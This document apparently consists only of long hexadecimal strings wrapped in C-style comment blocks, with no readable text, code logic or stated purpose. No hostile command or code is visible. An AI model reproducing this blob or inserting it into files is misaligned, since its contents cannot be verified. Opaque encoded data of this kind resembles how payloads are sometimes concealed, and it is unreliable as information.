c156b3feeb472a0a76111d533accd9263fc661ef15d4014028f3fd32e9b587309167f78a0dd538faf17bac5d9eb4ac100c7b5624ac4b7ceb92c94303b94103dc5151ad5f899f33fc747c24729fb6dec3ed9dd241d5f3085b059172a065bd01b2f7f9c21b3866788ab1f2b7edd3ceb33525e8da88d57921abf50744d031e5c3f03e7cdce1cc6ff4683bba9fe9a60528e9fac0ae5c990b47f4662359f8e19bb3bf2f27922d0896d265ac6a5bde7af3d755ed6e63d96b6ba4cbece75f2add50c3ee4a97aae76b7ce75b5aeaee1a3f1e43c09579297d4eec740c9606040fc3522acf92db47acace0c8dc1a8c1a542d98a611f3035b9b1e8e1d7d402528f2fa04a221ca73998df4085d90e4394140f557ad705601a7a8b537915da2b54cf37bbc2aa217130107e2ac6270730329601d055f8fb973d2d2c503f2436c5dfd5ee932eecd93757a6ccbf8c9d67d6a85abce6e68013a294add3fe3bca9a3ef2ea5be33d98f035ffd635c6746acdb0ccab6951579d251c8e5a25ed1e86af10665bf2cd1d4de22b52bb0af538a6cd8bec5cd4ddf7652f854fce3857938db9362708379bf7b042caeda2ee3f04a247a36ef6df408c009537f946d90b3aea2dfbb6521dfccbd8632d6a4c3cff8f2f6d1e2161201e13c73ac4579d364f944938ff8ea91f1201345bf59113d945f951cbbe99b3025d61fa59f077db3554b566de5edeb5222bc8a1e1a8aedb71d5d2be6e3f3f9133d00b6f704edea2ad5fcc90ed26e1473655149c44c68eb2b65c9a689947d85c775117a792182a1fb96edc3a74527b08fab5d06be053d92f42cf536740bd8a3489791a4e09f263a5580f4a7a7dd72491aba4f83fdd9d663662a00218255f7c086726397d866211b7782bf63b9eabaa16c42668f28d7ab1a6381bca7dcb7e27475906e258b96fe7d9e5c7ab2eb5628e04acea2c24c6b83fbc9a14f6703a160856f09db1637af862d8aec46cc2164c19dc0b7a1cbeb15e1f1f072eb256bd54557c114bb2fa50ff968801467915496d64095b2f45c8b3d1a64e6c5bb326d9c47106c92bf33f1e0cde64c7c242803f34f02bb355d4d4f43c546dd6aa544df42c05209557bd1a52904e7884633dcc654d49a5b32d3e95a9f4946c9f8864da47f3997bb68b8ac9a797e9d4ff3d76abe3f77655d100cb0e5ec1d8b6cc651379a1ecd211535d3bf4a36cd1c6085f1aa3abf90f855b434e4a5c60fa879ca96769e77d2af12fa14437d35975f3b6b888f42aa30ad24033c471c117eb5c635ea6b08d3cee25fcc48e2aa3b0141ff7ec9f8f31181156baa029f26963f870544e72815aa2d371771c9546ecfea9bd6b7*/
/*399c8301a81a0ecfbd489c54bd18df44bf2e9a5f0337d07f101cecd54adf1cb3fea1a5ef774ee151098408f6d325f233741040e66802ffc0cecad93cc33a7f361127c68c00e86a8b9a85f94305fa262da2ad3a42c0771c87a511d18c02c194a81271ef85c7c3d15ff4f0f590dc5979491183e9369a85d56816f9b345cbc4451be934c2c70e0830b1c0b922ce6b7bd98afb9416729e2ac194275c2297145cb33aac29c89c24f44f64aa27f5f524d12d5968379f22e93e8e4a984f7144c805f39cf1147690ba7f65184a1e01508b5469591c43926ec0a286acff6b7346933ac9a5a8e894367eecb546b5d077a2e55c4a7be04c0d14436f5d43ec0e4d4b56219aa2c36b9f92f4b9932d2f91eb28e0785f88bd9b5b3ee0c1af7b66f6b133b50df260095e4d5c634ac4e07bdc442f65ef8e635c262535a36ea833432776febe6459da25d58d1f1316084b230433570c7befdd3683be39187e478d5d6ababd5f22a400106d50ab90e152dc75ae3b9506505c9bec9843d5222ba414f498b8f1f6cbe809a3ef5d8dd9ea8e2883e8a3108e78fcca677212901164b13c96616b2c9dbab4bcd3e43ff75bb95bba6bba6368ae52f584070fb0473849315da3701ec7beb7d0445097c6b5cb5236127b19bc241dd3243daf2d87056485a67426bfaf0a4810a798a32355dcd337296d83b7bf89e5a38417c5e7ef7d0a3c8621d9029a89f1c2957a3bee152ce2503f42c7e0468e8feb8c06e20011f020254ce1bd1b29d7bfe3aba1ba19757f84812805bd4179f172de2607c6d003acafb1f2ead74bff1b468cb31a7b24bce3b8042248159f0daaacfa31f0ba172660209dfd3c8334e1a7884d8db3239d26d297c78125688a8ebc18029db1bff1478a585ee0cbe71bab2935d96f1321f1819037e5a2d04a579fdc49e762e9a702aef2f91320fc1029b3e6caf28e6bce794861da9c0f697c85cf2e9aafc33d6d63d3cf453bc99850dad4ce6e4f42bf86ab1aeb5a891e3e332e502aea5e7cce209a852dfcc364813edc77453fe0546b485fb56328fb290b928dbcc3e084c7aa512c8f84ef99098a905500ba7fb741a36a3a9198a440bf40d788c8b5ae79b20f8a8f7aecd187bc35fa3639bcc843e76598189caf045001fea16aff213f89727e2611748a3e74d35e57bc602413044775cd169d9f27a31744ce1f91e3cc5ec25747255a5bfb52c512884cd2059421d177934511ef709bd267e6a6629c4755fece4365879ddd8dbe2b1e39965054131f180ab6178947820fa76b7df8e9a7433835286e7e9bc0c0acedae236a22b4d1b2df5d6ace9d77843acb2badc6e02805aa4b048eb76e9b575e561f3cfb4d63e1b045878a63bd3aa091b38b5ed56d6c825237fc11280660ed2ee73379516a0fce6c3e83e4bca407fd6decb810cc97578016e721eb535a7c24aa2ff17677cc7085726e98628465caf3306907af5121b9fbe99c5f644c7704c7c8eebdb6ddd33e7230459b38f8e6ea83f95d4ca5091b6ac54d1d9eeb0216edf0a267a8122396645f21140c04a68bd5e2fb122151b5295610ced100c40727f846b93b582e1db593dd70fdcd4170c67d208264d12fd7de1e2c77363fca469ae81b68d8363c6b190ea2015560c18df49d370b6a5c485f741012bfde5fe0adcae5dba63dd2bc0ba9291f467473e5822bdc4d4205b74c28f5da9dd4abc8d7d1e921442e78897a392e67fe20e15ffed7d78683ebeb8fd5249de06c6da722c9c3aa2376b1dd96300c9cbf3e465b09e0b98a31c76b712df5d736f423da79f4d58eea3c3fb996b285d4dbaca3a9dadedb255256149396bea5086b28be9c0dbb6792b268d885745624b57771e43880697a284b5b54f71735fc6b06151fa69305e7abcfa8245f1fc1c769c89b19944a19c10363cb1ae1857e0feba95c3d48a7b9b7384da8307aa0f8fecfc3b01feb7a007bf5585fba475129c4401f51a6403b3bf45d8ccaaab7500181eac80852a3dad973c9fddd29ee0e9de7a09aea20f56ed726203d079a5c6e003f255a760e324ad7061da10943be3d7384d81c1b160818bf362bfa7f35735d1e1f11bd66badf7550122aa28f4380b020eaf87ec9ea11d529803ecb51835f4975fbdc7ab9c844ddc8c98d2066ee648784e8b96bc72c1f6c1caa1f16e7755efc4034ec7e071955b6ea7b46d736758eb98bfeb696847c539afe07e909e04ff40c3125f1fe3a6f6cab4a0b0403315310cfef5bdbbdde6288705390efcc57a2cd4dbfdf49ca3266781524adf54bed4e2fc77dce28674fa738fbb57ac83487eff66144fdb11a7f3476552113e7253ad7aa75263d6c8c653f4727a72e2aed2bfa618d70582e45e55b7b06a5500ae777e9ebabee6ca559f4258e6904e9285d87b2ae7d8c06bb47536e45d9966c4e0c6b7aedf4b4ebd18f950e7bd244c55c41971355fda3f2053908e8db1637b06803be81bfcb0655cc647e845c7cb685b75abc5d4fd950fcf592dd1e61d899b456f6e3ae89d2aa01ff916598e7f9453f4102fa8b164d7c493ba3e6e9162cacb6110b120a29f1b366cd1fde481196973c67a74e8e62ed6e9fad3871dee872ed3114418492078fe24aa25603ade83ba5250112fff61d5491ad50c251fe67d0fcd31587b4f024884ea91980af5443b219c9136f37bfa357ed55a695d6d7b49da38e33a2eeb386463ac00e8d15c18f2563e575c327d57ef066c2fce56533f15cc03f9c2e25fa5486edcbac8e53755616ef90d97b89af8b0c93e368ae2872bff73fc0aa5ac2f74e43a88500388c76770d7bb706ddc968f1cfa6312ee9640d26ff805f282631470658495190c21167831f*/
/*4a7c03c482b383d0261ae71ecfe815eed8df5c45e1a7812ae146f54e2468c11b6085f50ca62231ed47e6bc4993f7226131ec404b33890a71c9e5dc9d3ee99994652fd703b7756fb8d458e9bc75248d589293a12fff35bd6414bf23dac49a85ad8271a653d9b7043d70a0b08342bfccd07d4e226d8464a697b38e48ed6d32c14c1ba81d3e9001d5af6a656ba181e5ade23ef2be2256f3ed10570fad318588b90cf09e286d8a7a1a79945bc904ef1f4ce453f76b5ae56a8e91c62e8fe60b860332ad9dbef42746ff6d8ac745e33bb2c23e43660d41eef3c41711f2bfb0c64fa4656b037722b4d3d2e6faaa2b76224a0b2ca49f55aed2fae8750e0bc238932f4a4a0bc0cd105def2141b67bdc0f3e3e13b5b8fa889a97670cae872d02143b50ccfec87db6735155f8cd484c6c4f8a7c0f5ab948171c344e8f637405952ef5b90f6525ca77a15d4fd93ad8218b3178a0fddb29696ce8cf6abb3810409e491660239a22cb638058ef2431eb5943215b66a100006f216b75c23c13101ee61cd1efd19479879fa152413ec579572ce67d1ad070740bd81a5deda2a710454417d38c2d8892385a3daa6a93aa4c8208440b64554f6be914ce7e13c8d05bf21dbd2f6c5887d285460f5fa7a79aff21379dd47d38119940a5db333f0dc83d2b0c478527433354b38d63455d8ee01ff22d71a60d304ca8fb77c5f1eb34a7e65996e4f26e506e5bbf9b77c1cdcb72861a6e133de270d2874ef4b3676da0e211f1115e9999bca4a4b401820a1cadd0ccbbe97af9ac1ac192ac50b0e423b18e2b47f07e668ad87e66fcf6624683389c2b16e26c26863f199f7387167ffe784ffd48775ef02c2a2479b4071520bff5821f7322d9ac20090d696d8295681fb34d8505cb07843a674a9bbf81b048d35227ade7a06a26859a3dc1355cbb2803f96279b4e8210d58e00556f61478eca1ac9847a07244368769c9d46a82231f2469228394ee1020e931c7dae388201ea66e93cfa4b0eb987bb7873e0e0aa98d6afca366243715b6b4015008c5a4f29d69bfbb63b5b5a37533304ad359ab90c7e2d2354bd8d618017890df1e18f534cd713e50def4f769cec30c7cfa86bd511fc32402174507774de959da86c32b7c04a93a85c4b97ad08af3d41d8bcac9b352b8e4690716e7a9417883ee264b9a24b289e536c299b4a01456f1f5241f8933e95b8eaf4ddffd7a635be76a77f19f800d5b4a7cea59174f3316988d0a54402e74185f454597a97a160c8da820307ec50e371392047599eabeda3f5b44cdc30f576dfeba1d5e9e0e6516be0aa8ba66a3bbea7a5bb0de191f8e21bb9001e339c2b67e7c3cf59703f0249d433da091cd943362b68ce6e38dabd48899ead09e8421fb372266a0acc1eae91ad9d31f3c7eb063d4d1787c121995b2941d158edf76d7c983db75d5af72deb244f628f7a2c886d170997b9cea239bc8074a4535c197e3f41a60003c08614ccdccde2ec0e9dd243d9eafe3aa694cdf48aa3f83241f20b06d5b1d99630a4d4b9075f033120899d60606c24ad03532b45ff2c313f701f4582010ca94f57a491ed5f0df9e410f7f070747e254751fc98994c5c76d9502959a94145faaf0da54586bf04f1e0b5c4c280961f12b513f5398c1ec35e62e5593232dc9e0e92659ed9d38809c1374782cd49af0f7427a608befbca905b5afaf8dbe2788e5b1174b4fcef4930422559b45ab35a06967ee9fb0a96e03dd6fb6634f3dee699fe77fd69b6cedb2a1985d2aa34dac626d45237e6341ebe8492fe99573b349d07a60eb9fec354b6a8f2ebccea1590e1738affcdeb88ea53b3bb2d6b7fac61d3be866c8f3208a3e3fc4e79033590b0c4c2c040d8677f4135066488c75bd25be1b3f3cb3ad4ab650b081e7d7cd6e8e282d65680a593f5a1d161ad49a5b91fe9d7764ff48ecd60fa6d9c788a0b160c832a67aee84c1c9666b37e2511b7da07c04bc5873b6ff87bfe1c4dbf04fc414bf4f2c67914fdca7fee57679c6faed56433f513ea8e65c1eeeb6727b10675582f1de0af437a6fe6a7e79a3e02490670849fb30c0ccf8f8c0ca0fa4872807457c78344fe96644bbd3c73ba342ac62beecfef3e5e66258b7a51470774314cf8388032b0314d54408efa62dbae0c68d17ffa62d0a1f010aa18ec2a7e25a88fd1ad1f045218e2eb94cbedb29f45fa8642cd637dd532d38838e9d91fd9b515aa53e24b76e6c17a296833d72b8b8ef38128a600a969e1eeb121642e42a0d80ab5280c6ffc65b0073d504afb55c1def7801412bf4c244afb4dc862e159611f05793475741819eaeba0eb08c5a5d2e74cf33014bd9d8d52cd70e60595624043429125ba6fcb66113c4062b3a4f6252f8bce6d837042159221efbfe4c94b0ab4b72023b499eef73e0b266ff3e0658c76f9ceb6a16ab298afb6203e8539a727782eb626807872ed00a2b090536942e974625c270a3a8c33eeb00a1468541d32ffd7f2a00b0548cf8cc052b0405c9ec8dbd49327fa12675bbf0d048abd52119e9b5582e2f00967c3144a6ff5c6e2e66d6fc38f4afdceaee62e9ee013481acdb2408ceda499376f503639470b9c2d2e03c6874541837a6dbb03237c5ec115d9095d894ccefb4ad4989e9463b4ff57fe4b170aac530cdd638bb2f1eb5dbf9ab7080dfadc008acbb87d30078927d23c2705535cea11eeebb4aba00f197466793fba0c2e38f217d487528010ffeff332de5c724feee9aeb7ee061e116322c72d9f8039dfc14d64a02db8fb086dd31e13f751c6516516b756073f8bc2a0fc6b94a492272621e8619cf9f2d4d98aa763c217e7ac7b2*/
/*6a9b8ad763f665f1a51b7bd44997f34b35f9764ee7ca82dab248325d284dc4d0e2859354e4845aaf3ef496841bf1f30bc4d6d806e7ad6d79482576c5c700ef294e2ce693328917ce67f35a4657b4dd86cc441bcc1f425ffc8688265be1cafc1bb5252fafeab877b113d851bf8f2252c3b6ae872c26b96855ae0449931f624e0e3c4c31f082ccc8c81018088246c607d436cc3c9f0ca49c01e8cfcfb6423c87fcc76272ef83f67ac9330b8bf3099c685910ea348856822a40353b5c55246ef68fb5f71378fb1760438794d491516659704ba3c905188654f9a162c41cc9f03f3aa347cc300ec3d645d9834862293513ebffa8af19ff4635e71a1a7e20e576b14d98e8e42ad6d204222a285f64823fc35bf216c7cd54a11922978b08ea2d0c98dc4abfec63ad81a7136a514ccb28e0909be942320d8e1dd266636da644a758b27c3bb64e7a20c6775b653c995cef4d25aadb4e3ee8ecb418b6f1e0fe9eeca1a123fbd66c95ddf2803dc69175b4b398d6341090f4041c937d548ff87e52dfffc2244f4242f0482b7010f15dc8506c982123a05091148c562db7a47e90b07d17a8bd5b36a6f47c0709c5c6ee57602449142ee1606d7813700cd9d9b6783893c7c233490a0e1dbde423e5dbc0216098c0f18a3a3b8f9ec22b91e484b44c05afe08ba6904d55ff0436f1d99207430d6f916c5ea883e808b8766a705335cd99a0c8728e821acea9fa0a4fbe52d66d0791f42ae3ee6f0f14aaa6841e86b3c24ea681fcc00282c6e64d8df475b85a954a2b9c1cf466f08e5aad93d50df714e11c360aeb933dc6d6d5e0e38d0f48fc1074cd37af123c952da95795274d1b50a05678bb113666fe2c0da06af350c19fd94da68c6e745f52c0441f6894f3c528200b4a724f7b951f260afdd84fda7724df442a8587c5035adff3a00b9a20b57112ed62c82a8f818bbc9727c9a846b71be22c061ef887c3ee118e8d8d1ed341817ab743fd42356ffcc253c248df247daa661906c09e1ed26bc6052ea0dd056970b7893a5e4b6c8e582c65056ec0a56a51e90976aa1a827c44b3b3ae719763582736e3bd099ce615982173fb74986b29c97935259bae42b533be49edc203688b04a279af4c989810897b8a95ce4f292a14b1ca221897a0c6321828fcce35b6629c167ea38317c9e85374a6518c2475833a200ffd790a3cd839a09dd317c4d7adac5d6965198bc034dd9a7fecd3b2265a9f5195885bb4b0479eeb7ce0db6030df4c247f2b7f730f00d657c3719a69f2894ada2352676d7d0d25fb72001c09c29bfa9a871727cba3bba76bb5dc60f1e075fd2f7a90d191d89aafef6655a86f43947285d4c48ec8387e6fb8a30be7f46f724c5ba6431bd63fd8ac8e2b5ab3cb1bdc698c965daa16b8b3c89c3d84535b08f265a1789b874926d38f7b55597f1d571083fd524bcfa873e32a8821c611ad7aa5afb938886bce3bf18cb81cbe7633100666f936a5a3bf00a9ab7e2f286f36c0c5f4cc486bfb62485b3a47b5a0e948e2831c46667eb95984bde1f935b1cae1efbe29a08506b8ea1e92757127160a43ac3c543474172b780b0eeae2b0c9bead363e551fab669a14faa0b62e92360eef45555f1a0cebd718c2e37d910f46a89151f8751fd93492901bbd03a39bfa04332194e044c0f64f4916a41ed754017bcef2f1476babc49128d6f505bad92f31e27bfa2667d39a6f2abfdc76b9d9002222e9103c8f77fed097bf4961da7bb76daec5656f97f8d6f2a4ce26c21bc718226771f1f7c9e09281b5407c506e93a4cf8de39bad5576cbabeb882b62b42492465220f11bfda8b4264f721c85a5af8d515e49af817ffb277b98289d28fa3c8a33b1ff3877c14fec304c34863d28b1fad4660a54682cc3c4b9af301033b77447023026763cbcbab1423e5476e55d4d5fa84831cae01bac0921229900765f4d924108646e512478f53426f944f29433e00a0d699158c794c2bb3af27ccba09c7c5746f3815fe31a400196dbb3dd3cb373d13bd6faf97730a59a441f11c8876eb94689226e7bd8231efc96a76c6b1126bab6077e28033717ff88af7d407bfe7b67b2c9fdcdcd98da1e41662cf4b9d1c5999017b0cb2d25c76bd7891b2b6842b7c1403602ff924f07bc4300dd1bffbd24a0b9e0d5510fa7ceab6e7748e9c5b0ab5352097278568f13808e5d10cd5078e9f72132aae0f97d94dcacdb6b1d403400d4fdcd1641e59a9fd4595e601371e3df2a5771c908ea6e3c58e45cbf3626adf4757c45276549d3adf8484af028c9773d52b55d3d2b9a2e15c377146e177979524e17a2df07b1ef1a1546d09f3b70c11d1e9428d1e762f7c9f2b9dc1b6fbdc44746ae6e5102a443c595a51cd98e950e84507f61f59704db428e850b901e02d2656a9bc8e9530fb2cc830319897fec94459c982de8d224e441651270ac7473b0c1ce585cfac1e0096bb3c9903a9bb56bb3ccddc072a7d06b6b800f6811fa2eb2ae135c5e17db029f08a56fcdc160d800a7c32b6b0105e7cb500b074fdad7588e604d5103b733038a7cf50db57f4bc7f41d0c63b3c2a8026192f2be75f803d42e5f8afb3ac44012024ec05b5d7b8f09a309c8b768a968b85315276828141773ed35589655ec1486ee87ba049537e5d86feece24ad698d6e0d19d3cbd522616631013e991b66d2c8df5590c8ef2be0782a2c7703b591c89c2eca91853a9125678b8830e5d323b56a70d6b9092d3e6fc3e09b3f01dd51e0fffd881f57a1ac27eb36e339e44d1a461726c78246622f020564f5108270c57e4152e43ebca4d45d8ca5076290e0ce2daa205befca23d1*/
/*34a5c46f1efe21ed919dc8fa51570eda2bebb9c93fd9334bccdc310019f776461a76a6fef6305c799a180e4a4d52a118a8fbd36047faec79152f6509f31c77bed5c27d498c0d051d7b6f421d4e89d1d459c2e2f68a06e48c9f55d6f1c867c7e289fec7030dbcf47a2fd7f03003f23f2d81b14bef301c9d801f9f27d725f06340e4698a9418fbaf168444a779afdcf26c4d2e67051b40d08b6caa089f36f357ed26258fc1782b81344fb25e317c39b57da0c858b7f4d4b18d409ea1fd8b8112dc207871b236392e0d7a7b87e9472c2f8bd159dacddc1ebfd2ca94ecab941e70455166c395ec79739b39f2ebb62cacbc150dace7b4083aa685d0b9614c0eb25238ac709db724ebf60585827705e689b396cc6e34d759c5c437b8b1869897c4fa36a914967675ef4e0c03ed48c68c4a9d945e579006f38250f36790f380c93e45e4e93460f890f4c843639351e9d8df6acad67e900ba52ad243abe88cd97336ea514f45f52834971ae918ab99f18c61564e5920e7121b96f5b2e737608260366eab70fe7515a078763ab69140a5d74ed7bf2c7302ee34baee8cd522fdc97be1964fddadd0ae50aa7c80109e26e68e1e6cff1e98717ddebacd6b7ef031edca1bc83a0c01f03443bc4daec01d4ba541dd194aa49d06808fad8fbfabc4a15206fff1d80ca629808e3c1f41dc35a9ca016746eea4c1011efac7b9b8dc89d38dd7d4dee120e7a07e37754b8a0219b8abfa402f9acb1e208fdc6f9f9ae68a2fc100c07158b0f495008d99d7a2e75c2017a22a629553e08c4aa92b542f730278ef1752d66ee0805b1035acf3a5aa36225ec127d76f318cd77930f38ba4d84e80b462df165ede790c642d842ded26111f45bca950579b954df5101dff979700bbfce350fa77a9d204015f2e05dea43aefc409a39127b196238f6ff06892c0d08abd9a5c7fc3bd9e94be87950389c47d24f1b52724876c6f561665010bd942df7742fc5751dce00d6f900e2571f7a29409dbd9e86c5fa3d3e2744b2ac6fa04ccca4d8570ed0ace50824b508d3dc4fa703a9f441e12a3d5992782ea93972575fb4e66631159f97697494df503d9ffd3db2508d39706cf35509a145675f149c2a15dd18b6df8418dab81afb69c605d0b89f939c10453fc7e2ed19f4f10ef69b3c6845d7a1002336f406849ec881f0f0a351495a1c2536de399595fa5a34293ed300e7d27c103282a4159028a250a4e6892c9455d61f33ad9fb691c12338ec6e041d3a68c1ce8c278f1016d0fce43c94e4c7ee3eb82026180245133feea9dd12597f09d5bbe2f53ac4cb2cd717048245b7b4e71e2f07f31cacd3663a98e1e7e3477beddd0863136ba312a62fa0bff5bac94d3dcac84271885bcb1bd9a82cc45d41b78afe92d0173fe5cba97497592e26545849ebec586870d1cd0f87f5b5615ff7dddf51aa5ee91362339d8167ec8c53a75b3b0ef0a9c37c6329d6803081f6232bf8c1475df0397f43a24e18b9d17e5c9cb2799dc02302e3b6e896be4a174245fe52da5475a7282fbed065ed1b4e604c19195630e9db935b0406e7c005f1295abad89b981caa64050962a08dcb2a56cbd28e0acc6e441bf34538e02aed54eb2960aa855ac7b3ae70fdc0d4eeafbabc5a009e62fd813d0b96e44372d5f5b2ea43e09b62e1c108268ba46c26010dedd4c643abdca420716dcb95a001422c2cd64b8532633f266bbf8389df5f924d1d399b6f5ae7f99caf785356929ca2f5acfa94dd35c2de8fcce41fa2f3655a6eae26e5c60333ff4c06643a14bffd16772184a8694d74ef23a7d25a5a6d303cc1ef37b783605fc8972e84b5702eb92eae06eb039c110f3b445ca82d3f50d1a88077ee7765703cda2a9267a9e931225e97d070b49e7ef50636db863a5a26287bdcd4a3cb236577b00b374b9455af23a2c32b03019d3ff33dff942b37d007c36c4604dddfeefa0dd3358a867d4e14885f2784f7ac15c7f9b60ccfc29308f3a66b47a11a0c7ec38098c17f81750dafe23f1ecdfd2042f98ea3202836dd42d8be5113ec8230e63cf93ccf0f13c9b5c141fc49b890a3e6135f3a0d15c811aa926a66daf32521c564c61f207063ef3c27f3e7f09ccdd25ab232efb290afba5646903b0078d294a28aa646b599d61c827d6d735530bcc90ddca2e9591ba0b30206e6831de10ff67555135ef3bbe4af98f7f0437f8bb678fc77daf85f0b5ef0ff669ce8c5652944b91b2aa34dab9ea44523fe3a785311e8e56f30769a432b08c4e3ab7b00e224d3c5597745f5bd49ebe01e6ff90c8adfb3280e531a48180084f15b5ed7e7c70f55b87ab93d8346c78046d3522219462036be468bb325ec0d4a916b50ab14b7acf9060472556d50dff702327d89754902a915e72a1c5cda054081818fb440a8c867c67780937982d73a4ac5c0ddbfee62a99c8220cf2d7a8686d14113f926e80cedcd03adc3f056f643160048a10f1fe2e1d15c1fdfb9af2931e7b94dd47e6a2f0db2cb592e9e6e95c5e531b704c9874bacf538a630aa05916313274e62ad8f9e7e35a75a05de48eebd76616d025efa02b59d9f0d65b94c1c9db048213d6a0cb86a45443b7378bc0a706131b6cba8bed4c785941048b64fa7631ecaf80f82d93771f5d6c5680e8ec58e83e00780f4ebdc4cbaf0bfc1417f0d68c07a96b47a9ea2f519162259309042a20eb23efcc8d7967a4b6eadd1c3c048f8ba1257f1b53ed49f697993b8a09fd7cba466ac47bad44e044b15f9dca19d7e9320a78c413e4ba07538b8a880f64c1cc7cf136e2bf5c5413687dd0c14845235656eaf4f303a32e28ee52bed4a0bc60bb*/
/*d7e3e6ff08b47088de7bb09c59e94d094a712124f34e7a86aa988ed7addedb03aa79d5d057aaaee1af2a3c465de1257fb5109d9fa7d1b48b247f8fd9984419a6124e29c2c8b34c9a343d0851a7ef1270f3d489cc5e3bb6b23a3f88b668910df3f15216d78f8f43e53f1a71a9e2babd5fadc68b0c66edf4a5005fb1f6afd5a445cb1c152194e09356923bb5aa23e26fca4393450c8ab23023ec14fb25ee0fc3c217a647814f2a26083583586460c7dd5cc643df541dd262bc3cd7e63df21966d404cd3194300e6804136560f1429928f223504690c7ef01a25b8ac13d0f1da41eb12e6fee831e1d349daa98cab4957ebe2977cf7e1608e4ee62c11fe58ebeb9d5d317f08a96b4b6b59dacad08f4dd3eb410eeaa9ce78216ffce66193b3493c3275c57971483b32e5b915bffd2448fe0a11bf8bff463dca6d8d0245feac2cf8f4ad911d79d77c4dfbebfc660e810a3899b2ab5d21bd8ccf60287264e0d362eb27ce97b6a0ab8efbe0b82e5cd747d5d9dafd1002760c1b2531e1da837c383c3ac2522bdf4718f3cd0696665a46ad54555a996794ea840e98d5606d601c29ecb05835d9587d192833ccddc8649e81da9c9491fa0d3c62f435057812060bc3db8f563de2ce1178316973d65e3332b12c4c4d3af02a85e13739ede53d2f3bf9af1d260e1defeaf6ed2d83ab95bb30074e1bb428fbf735ce2b620c756390ca5dfb90a9a1bb8a5ad2342197bc8e5e381a2d29f4faca48767f2a8e2bfa544cee51f63a0eff303278e899be05907e372755cca874882e7dd404a3c4d88d8aaf83de9e0b30fe140c516b4d0c2c27c8899db01205120bb5d7ffe3d9ac8153b83d9561aa0bb39c56442c8c4fe85dfbbdaed17e1e4e843c70b196b1c0400f750c78b6b7167220ce8611c7c82d1142774b235bf136c75e1cff79a24727a957e9e46c7e20d6eab0d70ff272416d9004d18825502d927a1a9320a7ae50bcc611dcea9b2c365fb1a191183fcd9f89b02cf8beaf11ea7c3bfac1f9d1daf6f60c8fdcc999a1b921ff3b97bcc339429ef0d1028a0d0f09c2399406a9709bb6d7e32608a6a8f0991734d7388d19a30a22b92941ae38bd497876f62d89c32548314799c94838619e8ca8dc9a6ab4bc63392adfc9575ad6188201e3b34fdb378710d53be3a3ff4a1df9b779765f6da9faf9b6115c5dcd53a2e271e79fc3064a07e03ee7aa356b98b5230c53b5d7967bfc72e0c4e386de3b0d8c1fa0e72fd2849314e46824baeb2c66820fd0ba8de5d3b0504fe6db3ca88253459dad0b492e519287be80e399379a9a9605b5f083bb01b57fc05f88d79ed314b9160999a5eedc8a1ab9af7962f1ba2e7049a46968de4a493b903ababc05a6b20d7705fdbad274f1255d011119124a9515036b9c1de8429ba1875fdc75140583647dfa57e2896f4cb4b89ba9c214243f4ad9c6defa5a3174d8dfd1a37ef88c34e3f56c793ee3cda4fd3a17059b32abf131bc86f3a262b25d27c6a5f237b8529406077bdb8f50219ca83bb3c86cf9abe9f567e533aec5cb584c778a2a4a863144c888cd61500df4241fe2e8d1134a464ace7e34d6d96221bb8cacf53bf1149edab475b0a6ceef81d9e84894bb9a03144847aa3e0a42f4fd795e836b1e6a61d4c4dc26154d41d73bc7ce0d736eacaa3578417119f6422d5fa58a90d6727a4cef83f5b7dbd640f670aa082833ab6b5fb54a7811d9d3b821aeca13fc2f93708d6858f9460924747136a3a5551dfe5adaf8bd06b70cbadb146bbaccaf7157c9bfb00616e8f670b0faedd3821e45858060ac537ea12701824958088c39b512d069af6c687a45a87e41154c9dbbab904d0247cdcdd9a603d0456a544d3ab6f88adceb9d30b25577bc081e00a94fd84a4df8f2a3188f63b8f36c949054d1e0441f01b9f03fe28109e6d66b47df467a5773d23cf0212fa81c0b6dfe1aef068605108475b733b52e5ca5a463c07bab911381ab2514fe2926f5582c78a282d591cb547c9681b26a6ca7bbc88ecadd163472449df1d4799bb8096e2e27af19389971fe87c26113fbbf2dfdc9953df6bae086684f0ae596ff8850fc60a2007376f37922fe9b7f22a01d250ccaa4ab96bd5117af4dee32bba70c1d68a9daf3d1ebcff9e3d987aa9f54394d8bcf085485f0a102552ccd3f8c73e83e43507876c10ba88ebafbf7e973856c07618f65c85f2a9733346355ec4212c5bf271e6fd8c60b48e078ba44bb35200cd0c27fb618aff453c788a012c792c3312aae595f76b5ee055335543aa6cfae730e9274e76cbeb502bc4556935ae74eb4f7afc3d3264c03f9539c30a2157556b0701017858adaffc1b963258f44c9895367852ed3a6a56663419ee71866700a1261976fd4c5a63a2a4e14d0c7ca41717f2714f8f9d1470398aa7813f006d8dfac54e06ad6c33a153a6db429bf80ec46dbca854a9c72590cae87056ac3319ad2194f4b7f741a62b77e69dc958f72942c244a74a93fc432511402959e0ad108e9266e9a19908acda90cdc7b6856f73e414f8d454ff58900e5994681b642e76e391ef583cb96ab142dd310e689ece2d862de4429ff20082c5a99a9873e764d99ec378a1140f4ee9a79420a182af64e00324124e8d5baff80c12447a6e93dc8475b54a47e7b7f3308c4a2a3a71e1114700e4c1ea0188955da67a259d06fb7b021d33519160f463cfef838efbc702f02fd2b636f6dd68bbfe373237bd80149588672dec2b79bb6d686c9390ca332cf21893843bd984613ecb8c962b98ae92c7cf07a62beabd0c1a4617cf8dca97dac256c2829493794d01be65da0a53d085572bc4fc49*/
/*15612fee9431690ba7611a528698059701526d3e9a5889ac94fc9205d6a5fdcda002843363e88fdc8446bdc2688bf6f0043d9e0c9e520fff0bb2511215122c019ea06b45f9fdb42040e21bf70bd88e7e34261f6fab4c348d04a6192129c39c977976a4601e5a8c539bcabfc7609a21028f11dc55b4fb0c8a7e2c90d465ca2acc38fd47d83f9089e6e9d00fcfbab909e5612406a6de66a880c6f0736ede745ec15ef51adbc6ab9ad65909b2f76c05fca9de319517f18db022323416cfe7ea7792a67b9d1e6736204364ef55a2dd1fdda4a772804687f436e69bfe9c7544e7552b2b9df681d7415e9b310c1e3971c7dc6def1f61ee1c2ff49d5a8b242ca34536bf9d584735c1676ef914876bafa5b6313d5c5291e2c19ddf3df9a47a63a419cfe8ddfe0d3fc6396b2045598932f573173931917479291673277c6c3ed919ce0ee2392b33ea91466631137daf004bf10da610c4a8f545457ed994094149fc92e3321fca8d03760a36dfa11e5ba78020d105a048c5adbe9bf8265113a3e9ef0e99bd075b76e069b0ab7e1f865efc598df2d438d7d51a9173361597fc821e51421c3fa812913b204435e3f2a139c5ff9b13b1c0aff20cf0329d2616ab6268f817e2cec243366b039927b6559d0ced1efed2cb7cc6eb1507f361ee235c35f298f95c02a4cf4a4ddb22963fc96b28a406934ce7c33b800a96c375677e3488fd479238c2f5ffc1ffaefa1ee66f846fa876e13cd2aa1afc811b4c81bdb9dcd371cb4fe43995a9c08ddd